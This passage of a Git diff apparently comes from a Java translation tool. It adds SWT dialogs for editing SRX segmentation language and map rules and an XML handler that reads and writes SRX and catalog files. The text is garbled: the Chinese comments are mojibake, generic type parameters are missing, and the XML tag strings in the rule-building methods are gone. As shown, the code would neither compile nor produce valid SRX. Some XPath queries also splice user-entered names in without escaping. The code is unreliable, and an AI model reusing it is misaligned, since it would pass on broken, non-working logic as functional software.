editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editLangRule(); + + } + }); + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + boolean respose = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.SrxLanguageRulesManageDialog.msgTitle2"), + Messages.getString("srx.SrxLanguageRulesManageDialog.msg5")); + if (!respose) { + return; + } + + StructuredSelection structSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = structSelection.iterator(); + while (it.hasNext()) { + langRulesList.remove(it.next()); + } + refreshTable(null); + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("srx.SrxLanguageRulesManageDialog.msgTitle"), + Messages.getString("srx.SrxLanguageRulesManageDialog.msg6")); + } + } + }); + } + + /** + * 更新语言列表 + * @param bean + * ; + */ + private void refreshTable(LanguageRuleBean bean) { + tableViewer.setInput(langRulesList); + if (bean != null) { + // 定ä½æ“作 + tableViewer.setSelection(new StructuredSelection(bean)); + } + + } + + public void editLangRule() { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + StructuredSelection structSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = structSelection.iterator(); + // åªä¿®æ”¹é€‰ä¸­è§„则中的一个 + if (it.hasNext()) { + LanguageRuleBean selectBean = it.next(); + AddOrEditLangRuleOfSrxDialog editDialog = new AddOrEditLangRuleOfSrxDialog(getShell(), false, + langRulesList); + editDialog.create(); + editDialog.setEditInitData(selectBean); + int editResult = editDialog.open(); + if (editResult == IDialogConstants.OK_ID) { + refreshTable(editDialog.getCurLangRuleBean()); + } + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxLanguageRulesManageDialog.msgTitle"), + Messages.getString("srx.SrxLanguageRulesManageDialog.msg7")); + } + } + + /** + * 开始组装语言规则的字符串 ; + */ + public String buildLangRules(String langRuleName) { + StringBuffer rulesSB = new StringBuffer(); + rulesSB.append(MessageFormat.format("\n", langRuleName)); + for (int i = 0; i < langRulesList.size(); i++) { + LanguageRuleBean language = langRulesList.get(i); + String isBreak = language.getIsBreak(); + String preBreak = language.getPreBreak(); + String afterBreak = language.getAfterBreak(); + + rulesSB.append(MessageFormat.format("\t\n", isBreak)); + rulesSB.append(MessageFormat.format("\t\t{0}\n", preBreak)); + rulesSB.append(MessageFormat.format("\t\t{0}\n", afterBreak)); + rulesSB.append("\t\n"); + } + rulesSB.append(MessageFormat.format("\n", langRuleName)); + return rulesSB.toString(); + } + + public String getCurLanguageRuleName() { + return curLanguageRuleName; + } + + /** + * 编辑状æ€ä¸‹èµ‹åˆå§‹åŒ–值 + * @param langRuleName + */ + public void setEditInitData(String langRuleName) { + curLanguageRuleName = langRuleName; + nameTxt.setText(langRuleName); + langRulesList = handler.getLangRulesByName(srxLocation, langRuleName); + refreshTable(null); + } + + /** + * 语言规则列表标签æ供器 + * @author robert 2012-02-29 + * @version + * @since JDK1.6 + */ + private class TViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof LanguageRuleBean) { + LanguageRuleBean bean = (LanguageRuleBean) element; + switch (columnIndex) { + case 0: + return bean.getIsBreak(); + case 1: + return bean.getPreBreak(); + case 2: + return bean.getAfterBreak(); + default: + return null; + } + } + return null; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxMapRulesManageDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxMapRulesManageDialog.java new file mode 100644 index 0000000..29a664c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxMapRulesManageDialog.java @@ -0,0 +1,371 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs.srx; + +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.model.MapRuleBean; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; + +public class SrxMapRulesManageDialog extends Dialog { + private Button addBtn; + private Button editBtn; + private Button deleteBtn; + private Text nameTxt; + private TableViewer tableViewer; + private Table table; + private List mapRulesList = new LinkedList(); + private boolean isAdd; + private ADXmlHandler handler; + private String srxLocation; + private String curMapRuleName; + + public SrxMapRulesManageDialog(Shell parentShell, boolean isAdd, ADXmlHandler handler, String srxLocation) { + super(parentShell); + this.isAdd = isAdd; + this.handler = handler; + this.srxLocation = srxLocation; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("srx.SrxMapRulesManageDialog.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite buttonCmp = new Composite(parent, SWT.NONE); + + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + buttonCmp.setLayout(layout); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + buttonCmp.setLayoutData(data); + buttonCmp.setFont(parent.getFont()); + + Composite leftCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(leftCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).equalWidth(false).applyTo(leftCmp); + + addBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxMapRulesManageDialog.addBtn"), false); + editBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxMapRulesManageDialog.editBtn"), false); + deleteBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxMapRulesManageDialog.deleteBtn"), false); + + Composite rightCmp = new Composite(buttonCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).equalWidth(false).applyTo(rightCmp); + + new Label(rightCmp, SWT.NONE); + + Label separatorLbl = new Label(buttonCmp, SWT.HORIZONTAL | SWT.SEPARATOR); + GridDataFactory.fillDefaults().span(2, SWT.DEFAULT).applyTo(separatorLbl); + + new Label(buttonCmp, SWT.NONE); + Composite bottomCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(false, false).applyTo(bottomCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(2).applyTo(bottomCmp); + + createButton(bottomCmp, IDialogConstants.OK_ID, Messages.getString("srx.SrxMapRulesManageDialog.ok"), false); + createButton(bottomCmp, IDialogConstants.CANCEL_ID, Messages.getString("srx.SrxMapRulesManageDialog.cancel"), + true).setFocus(); + + initListener(); + + return buttonCmp; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(600, 500).minSize(600, 500).applyTo(tparent); + Composite nameCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(nameCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(nameCmp); + Label nameLbl = new Label(nameCmp, SWT.NONE); + nameLbl.setText(Messages.getString("srx.SrxMapRulesManageDialog.nameLbl")); + nameTxt = new Text(nameCmp, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(nameTxt); + createTable(tparent); + return tparent; + } + + private void createTable(Composite tparent) { + tableViewer = new TableViewer(tparent, SWT.FULL_SELECTION | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.MULTI); + table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + GridDataFactory.fillDefaults().span(4, SWT.DEFAULT).grab(true, true).applyTo(table); + tableViewer.setLabelProvider(new TViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + String[] columnNames = new String[] { Messages.getString("srx.SrxMapRulesManageDialog.columnNames1"), + Messages.getString("srx.SrxMapRulesManageDialog.columnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.2, 0.77 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editMapRule(); + } + }); + } + + public void initListener() { + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + AddOrEditMapRuleOfSrxDialog dialog = new AddOrEditMapRuleOfSrxDialog(getShell(), true, mapRulesList, + handler, srxLocation); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshTable(dialog.getCurMapRuleBean()); + } + } + }); + editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editMapRule(); + } + }); + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + boolean respose = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.SrxMapRulesManageDialog.msgTitle"), + Messages.getString("srx.SrxMapRulesManageDialog.msg1")); + if (!respose) { + return; + } + + StructuredSelection structSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = structSelection.iterator(); + while (it.hasNext()) { + mapRulesList.remove(it.next()); + } + refreshTable(null); + } else { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxMapRulesManageDialog.msgTitle2"), + Messages.getString("srx.SrxMapRulesManageDialog.msg2")); + } + } + }); + } + + /** + * 更新语言列表 + * @param bean + * ; + */ + private void refreshTable(MapRuleBean bean) { + tableViewer.setInput(mapRulesList); + if (bean != null) { + // 定ä½æ“作 + tableViewer.setSelection(new StructuredSelection(bean)); + } + } + + @Override + protected void okPressed() { + String mapRuleName = nameTxt.getText().trim(); + if (mapRuleName == null || "".equals(mapRuleName)) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxMapRulesManageDialog.msgTitle2"), + Messages.getString("srx.SrxMapRulesManageDialog.msg3")); + nameTxt.setFocus(); + return; + } + + if (isAdd) { + // 先验è¯æ‰€æ·»åŠ çš„语言规则å是å¦å­˜åœ¨ï¼Œå¦‚果存在就æ示 + boolean isExist = handler.validNodeExist(srxLocation, "/srx/body/maprules/maprule[@maprulename='" + + mapRuleName + "']"); + if (isExist) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxMapRulesManageDialog.msgTitle2"), + MessageFormat.format(Messages.getString("srx.SrxMapRulesManageDialog.msg4"), mapRuleName)); + return; + } + + String languageRulesData = buildLangRules(mapRuleName); + boolean addResult = handler.addMapRules(srxLocation, languageRulesData); + if (!addResult) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxMapRulesManageDialog.msgTitle2"), + Messages.getString("srx.SrxMapRulesManageDialog.msg5")); + } + + } else { + // 在编辑的情况 + // 首先判断语言规则节点å是å¦è¢«ä¿®æ”¹ï¼Œå¦‚果被修改,è¦åˆ¤æ–­å…¶ä¿®æ”¹åŽçš„节点å是å¦å·²ç»å­˜åœ¨ï¼Œå¦‚果存在,则æ示是å¦è¦†ç›– + if (!curMapRuleName.equals(mapRuleName)) { + boolean isExist = handler.validNodeExist(srxLocation, "/srx/body/maprules/maprule[@maprulename='" + + mapRuleName + "']"); + if (isExist) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.SrxMapRulesManageDialog.msgTitle"), + MessageFormat.format(Messages.getString("srx.SrxMapRulesManageDialog.msg6"), mapRuleName)); + // 如果选择覆盖,那么先删除与修改åŽåŒèŠ‚点å的那个节点,å†ä¿®æ”¹ç›¸å¯¹åº”çš„æ•°æ® + if (response) { + handler.deleteNode(srxLocation, "/srx/body/maprules/maprule[@maprulename='" + mapRuleName + + "']"); + } else { + return; + } + } + } + String newData = buildLangRules(mapRuleName); + handler.updataDataToXml(srxLocation, "/srx/body/maprules/maprule[@maprulename='" + curMapRuleName + "']", + newData); + } + + curMapRuleName = mapRuleName; + super.okPressed(); + } + + public void editMapRule() { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + StructuredSelection structSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = structSelection.iterator(); + if (it.hasNext()) { + MapRuleBean selectBean = it.next(); + AddOrEditMapRuleOfSrxDialog dialog = new AddOrEditMapRuleOfSrxDialog(getShell(), false, mapRulesList, + handler, srxLocation); + dialog.create(); + dialog.setEditInitData(selectBean); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshTable(dialog.getCurMapRuleBean()); + } + + } + refreshTable(null); + } else { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxMapRulesManageDialog.msgTitle2"), + Messages.getString("srx.SrxMapRulesManageDialog.msg2")); + } + } + + public String getCurMapRuleName() { + return curMapRuleName; + } + + public void setEditInitData(String mapRuleName) { + curMapRuleName = mapRuleName; + nameTxt.setText(mapRuleName); + mapRulesList = handler.getMapRulesByName(srxLocation, mapRuleName); + refreshTable(null); + + } + + private String buildLangRules(String mapRuleName) { + StringBuffer mapRuleSB = new StringBuffer(); + mapRuleSB.append(MessageFormat.format("\n", mapRuleName)); + for (int i = 0; i < mapRulesList.size(); i++) { + MapRuleBean mapRuleBean = mapRulesList.get(i); + String languageModel = mapRuleBean.getLanguageModel(); + String languageRuleName = mapRuleBean.getLangRuleName(); + + mapRuleSB.append(MessageFormat.format( + "\t\n", new Object[] { + languageModel, languageRuleName })); + } + mapRuleSB.append(MessageFormat.format("\n", mapRuleName)); + + return mapRuleSB.toString(); + } + + /** + * å°å°„规则列表标签æ供器 + * @author robert 2012-03-02 + * @version + * @since JDK1.6 + */ + private class TViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof MapRuleBean) { + MapRuleBean bean = (MapRuleBean) element; + switch (columnIndex) { + case 0: + return bean.getLanguageModel(); + case 1: + return bean.getLangRuleName(); + default: + return null; + } + } + return null; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/ADXmlHandler.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/ADXmlHandler.java new file mode 100644 index 0000000..ff65626 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/ADXmlHandler.java @@ -0,0 +1,514 @@ +package net.heartsome.cat.ts.ui.advanced.handlers; + +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.advanced.model.ElementBean; +import net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean; +import net.heartsome.cat.ts.ui.advanced.model.MapRuleBean; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * å“质检查的xml文件解æžç±» + * @author robert 2012-02-20 + * @version + * @since JDK1.6 + */ +public class ADXmlHandler extends QAXmlHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(ADXmlHandler.class); + /** + * 获å–catalogue.xmlæ–‡ä»¶ä¸­çš„æ•°æ® + * @param xmlLocation + * @return ; + */ + public List getCatalogValueList(String xmlLocation){ + List catalogList = new LinkedList(); + int index = 1; + VTDNav vn = super.getVTDNav(xmlLocation); + AutoPilot ap = new AutoPilot(vn); + + try { + ap.selectXPath("/catalog/*"); + while (ap.evalXPath() != -1) { + String cataName = vn.toString(vn.getCurrentIndex()); + String name = null; + int idIdx = -1; + int urlIdx = -1; + String idStr; + String urlStr ; + if ("public".equals(cataName)) { + name = "PUBLIC"; + idIdx = vn.getAttrVal("publicId"); + urlIdx = vn.getAttrVal("uri"); + }else if ("system".equals(cataName)) { + name = "SYSTEM"; + idIdx = vn.getAttrVal("systemId"); + urlIdx = vn.getAttrVal("uri"); + }else if ("uri".equals(cataName)) { + name = "URI"; + idIdx = vn.getAttrVal("name"); + urlIdx = vn.getAttrVal("uri"); + }else if ("nextCatalog".equals(cataName)) { + name = "nextCatalog"; + urlIdx = vn.getAttrVal("catalog"); + } + + if (name == null) { + continue; + } + idStr = (idIdx != -1 ? vn.toString(idIdx) : "" ); + urlStr = (urlIdx != -1 ? vn.toString(urlIdx) : "" ); + + catalogList.add(new String[]{"" + index, name, idStr, urlStr}); + index ++; + } + } catch (Exception e) { + LOGGER.error("", e); + } + return catalogList; + } + + /** + * å‘catalogue.xmlä¸­æ·»åŠ æ•°æ® + * @param xmlLocation + * @param addData ; + */ + public void deleteCatalog(String xmlLocation, List xpathList, List dataList){ + VTDNav vn = super.getVTDNav(xmlLocation); + AutoPilot ap = new AutoPilot(vn); + try { + VTDUtils vu = new VTDUtils(); + for (int i = 0; i < xpathList.size(); i++) { + vn = super.getVTDNav(xmlLocation); + vu.bind(vn); + String xpath = xpathList.get(i); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + XMLModifier xm = vu.delete(xpath); + saveAndReparse(xm, xmlLocation); + ap.resetXPath(); + }else { + //如果找ä¸åˆ°ï¼Œå°±æ˜¯xpathé…置问题,比如没有任何一个属性 + /*String name = dataList.get(i)[0]; + String id = dataList.get(i)[1]; + String uri = dataList.get(i)[2]; + if ("".equals(id) && "".equals(uri)) { + + }*/ + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + + /** + * 修改数æ®(修改整个节点) + * @param xmlLocation + * @param xpath + * @param newData ; + */ + public boolean updataDataToXml(String xmlLocation, String xpath, String newData){ + VTDNav vn = super.getVTDNav(xmlLocation); + AutoPilot ap = new AutoPilot(vn); + try { + VTDUtils vu = new VTDUtils(vn); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + return saveAndReparse(vu.update(xpath, newData), xmlLocation); + } + } catch (Exception e) { + LOGGER.error("", e); + } + return false; + } + + /** + * 获å–转æ¢é…置文件的所有内容 + * @return ; + */ + public List getconvertXmlElements(String xmlLocation) { + List elementsList = new LinkedList(); + VTDNav vn = super.getVTDNav(xmlLocation); + AutoPilot ap = new AutoPilot(vn); + ElementBean bean; + try { + ap.selectXPath("/ini-file/tag"); + while (ap.evalXPath() != -1) { + // 如果元素å与元素类型为空,那么当å‰èŠ‚点ä¸è¢«æ·»åŠ  + if (vn.getText() == -1 || vn.getAttrVal("hard-break") == -1 || "".equals(vn.toString(vn.getText())) + || "".equals(vn.toString(vn.getAttrVal("hard-break")))) { + continue; + } + //开始添加元素å称 + bean = new ElementBean(); + bean.setName(vn.toString(vn.getText())); + bean.setType(vn.toString(vn.getAttrVal("hard-break"))); + bean.setInlineType(vn.getAttrVal("ctype") != -1 ? vn.toString(vn.getAttrVal("ctype")) : ""); + bean.setTransAttribute(vn.getAttrVal("attributes") != -1 ? vn.toString(vn.getAttrVal("attributes")) : ""); + bean.setRemainSpace(vn.getAttrVal("keep-format") != -1 ? vn.toString(vn.getAttrVal("keep-format")) : ""); + elementsList.add(bean); + } + } catch (Exception e) { + LOGGER.error("", e); + } + return elementsList; + } + + /** + * 获å–分æžXML文件åŽçš„æ•°æ®(针对于分æžXML文件) + * @param xmlLocation + * @return ; + */ + public List getAnalysisXmlData(String xmlLocation) { + List beanList = new LinkedList(); + List elementNameList = new ArrayList(); + VTDNav vn = getVTDNav(xmlLocation); + AutoPilot ap = new AutoPilot(vn); + ElementBean bean; + try { + ap.selectXPath("//*[text()!='' or not(./*)]"); + while (ap.evalXPath() != -1) { + String elementName = vn.toString(vn.getCurrentIndex()); + //如果元素åä¸é‡å¤ï¼Œé‚£ä¹ˆå°±æ·»åŠ åˆ°ç»“果集中 + if (elementNameList.indexOf(elementName) == -1) { + bean = new ElementBean(); + bean.setName(elementName); + bean.setType("segment"); + bean.setInlineType(""); + bean.setTransAttribute(""); + bean.setRemainSpace(""); + beanList.add(bean); + elementNameList.add(elementName); + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + return beanList; + } + + /** + * 验è¯æŒ‡å®šçš„srx文件是å¦ç¬¦åˆsrx标准,通过验è¯å…¶æ ¹å…ƒç´ æ˜¯å¦ä¸ºsrx + * @param srxLoaction + * @return ; + */ + public boolean validSrx(String srxLoaction){ + VTDNav vn = super.getVTDNav(srxLoaction); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/srx"); + if (ap.evalXPath() != -1) { + return true; + } + } catch (Exception e) { + LOGGER.error("", e); + return false; + } + return false; + } + + /** + * 验è¯ç»™å‡ºçš„xpath所表示的节点是å¦å­˜åœ¨ï¼Œå¦‚果存在,则返回true,如果ä¸å­˜åœ¨ï¼Œåˆ™è¿”回false + * @param xmlLoaction + * @param validXpath + * @return ; + */ + public boolean validNodeExist(String xmlLocation, String validXpath) { + VTDNav vn = super.getVTDNav(xmlLocation); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath(validXpath); + if (ap.evalXPath() != -1) { + return true; + } + } catch (Exception e) { + LOGGER.error("", e); + } + return false; + } + + /** + * 将言语规则节点添加到指定的文件中 + * @param srxLoaction + * @param langRulsList + * @return true:添加æˆåŠŸ,false:添加失败; + */ + public boolean addLanguageRules(String srxLoaction, String languageRulesData) { + VTDNav vn = super.getVTDNav(srxLoaction); + AutoPilot ap = new AutoPilot(vn); + //在添加之å‰ï¼Œå…ˆåˆ¤æ–­body与languagerules节点是å¦å­˜åœ¨ï¼Œå¦‚果存在,则创建 + try { + //在添加之å‰ï¼Œå…ˆåˆ¤æ–­body节点是å¦å­˜åœ¨ï¼Œå¦‚æžœä¸å­˜åœ¨ï¼Œåˆ™åˆ›å»º + ap.selectXPath("/srx/body"); + if (ap.evalXPath() == -1) { + String bodyStr = "\t\n\t"; + if (super.addDataToXml(srxLoaction, "/srx", bodyStr)) { + vn = super.getVTDNav(srxLoaction); + } + } + ap.resetXPath(); + //若无languagerule节点存在,创建此节点 + ap.selectXPath("/srx/body/languagerules"); + if (ap.evalXPath() == -1) { + String langRuleStr = "\t\n" + "\t\t"; + if (super.addDataToXml(srxLoaction, "/srx/body", langRuleStr)) { + vn = super.getVTDNav(srxLoaction); + } + } + ap.resetXPath(); + + return super.addDataToXml(srxLoaction, "/srx/body/languagerules", languageRulesData); + } catch (Exception e) { + LOGGER.error("", e); + } + return false; + } + + /** + * 分段规则中,添加映射规则 + * @param srxLoaction + * @param mapRulesData + * @param mapRuleName + * @return true:添加æˆåŠŸ,false:添加失败; + */ + public boolean addMapRules(String srxLoaction, String mapRulesData) { + VTDNav vn = super.getVTDNav(srxLoaction); + AutoPilot ap = new AutoPilot(vn); + //在添加之å‰ï¼Œå…ˆåˆ¤æ–­body与maprules节点是å¦å­˜åœ¨ï¼Œå¦‚果存在,则创建 + try { + //在添加之å‰ï¼Œå…ˆåˆ¤æ–­body节点是å¦å­˜åœ¨ï¼Œå¦‚æžœä¸å­˜åœ¨ï¼Œåˆ™åˆ›å»º + ap.selectXPath("/srx/body"); + if (ap.evalXPath() == -1) { + String bodyStr = "\t\n\t"; + if (super.addDataToXml(srxLoaction, "/srx", bodyStr)) { + vn = super.getVTDNav(srxLoaction); + } + } + ap.resetXPath(); + //若无languagerule节点存在,创建此节点 + ap.selectXPath("/srx/body/maprules"); + if (ap.evalXPath() == -1) { + String langRuleStr = "\t\n" + "\t\t"; + if (super.addDataToXml(srxLoaction, "/srx/body", langRuleStr)) { + vn = super.getVTDNav(srxLoaction); + } + } + ap.resetXPath(); + + return super.addDataToXml(srxLoaction, "/srx/body/maprules", mapRulesData); + } catch (Exception e) { + LOGGER.error("", e); + } + return false; + } + + /** + * 获å–语言规则的å称,返回结果为list + * @param srxLoaction + * @return ; + */ + public List getLanguageRuleNamesOfSrx_1(String srxLocation){ + List langRuleNames = new LinkedList(); + VTDNav vn = super.getVTDNav(srxLocation); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/srx/body/languagerules/languagerule"); + while(ap.evalXPath() != -1){ + if (vn.getAttrVal("languagerulename") != -1) { + langRuleNames.add(new String[] { "" + (langRuleNames.size() + 1), + vn.toString(vn.getAttrVal("languagerulename")) }); + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + return langRuleNames; + } + + /** + * 获å–语言规则的å称,返回结果为list类型 + * @param srxLocation + * @return ; + */ + public List getLanguageRuleNamesOfSrx_2(String srxLocation) { + List langRuleNames = new LinkedList(); + VTDNav vn = super.getVTDNav(srxLocation); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/srx/body/languagerules/languagerule"); + while (ap.evalXPath() != -1) { + if (vn.getAttrVal("languagerulename") != -1) { + langRuleNames.add(vn.toString(vn.getAttrVal("languagerulename"))); + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + return langRuleNames; + } + + /** + * 获å–srx文件所有的映射节点å称 + * @param srxLocation + * @return ; + */ + public List getMapRuleNames(String srxLocation){ + List mapRuleNames = new LinkedList(); + VTDNav vn = super.getVTDNav(srxLocation); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/srx/body/maprules/maprule"); + while (ap.evalXPath() != -1) { + if (vn.getAttrVal("maprulename") != -1) { + mapRuleNames.add(new String[] { "" + (mapRuleNames.size() + 1), + vn.toString(vn.getAttrVal("maprulename")) }); + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + return mapRuleNames; + } + + + public List getLangRulesByName(String srxLocation, String langRuleName){ + List languageRulesList = new LinkedList(); + VTDNav vn = super.getVTDNav(srxLocation); + AutoPilot ap = new AutoPilot(vn); + AutoPilot ruleAP = new AutoPilot(vn); + AutoPilot childAP = new AutoPilot(vn); + try { + ap.selectXPath("/srx/body/languagerules/languagerule[@languagerulename='"+ langRuleName +"']"); + if (ap.evalXPath() != -1) { + ruleAP.selectXPath("./rule"); + LanguageRuleBean bean; + while (ruleAP.evalXPath() != -1) { + String isBreak = ""; + String preBreak = ""; + String afterBreak = ""; + if (vn.getAttrVal("break") != -1) { + isBreak = vn.toString(vn.getAttrVal("break")); + } + vn.push(); + childAP.selectXPath("./beforebreak"); + if (childAP.evalXPath() != -1) { + if (vn.getText() != -1) { + preBreak = vn.toString(vn.getText()); + } + } + vn.pop(); + childAP.resetXPath(); + + vn.push(); + childAP.selectXPath("./afterbreak"); + if (childAP.evalXPath() != -1) { + if (vn.getText() != -1) { + afterBreak = vn.toString(vn.getText()); + } + } + vn.pop(); + + bean = new LanguageRuleBean(isBreak, preBreak, afterBreak); + languageRulesList.add(bean); + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + return languageRulesList; + + } + + public List getMapRulesByName(String srxLocation, String mapRuleName){ + List mapRulesList = new LinkedList(); + VTDNav vn = super.getVTDNav(srxLocation); + AutoPilot ap = new AutoPilot(vn); + AutoPilot ruleAP = new AutoPilot(vn); + try { + MapRuleBean bean; + ap.selectXPath("/srx/body/maprules/maprule[@maprulename='"+ mapRuleName +"']"); + if (ap.evalXPath() != -1) { + ruleAP.selectXPath("./languagemap"); + 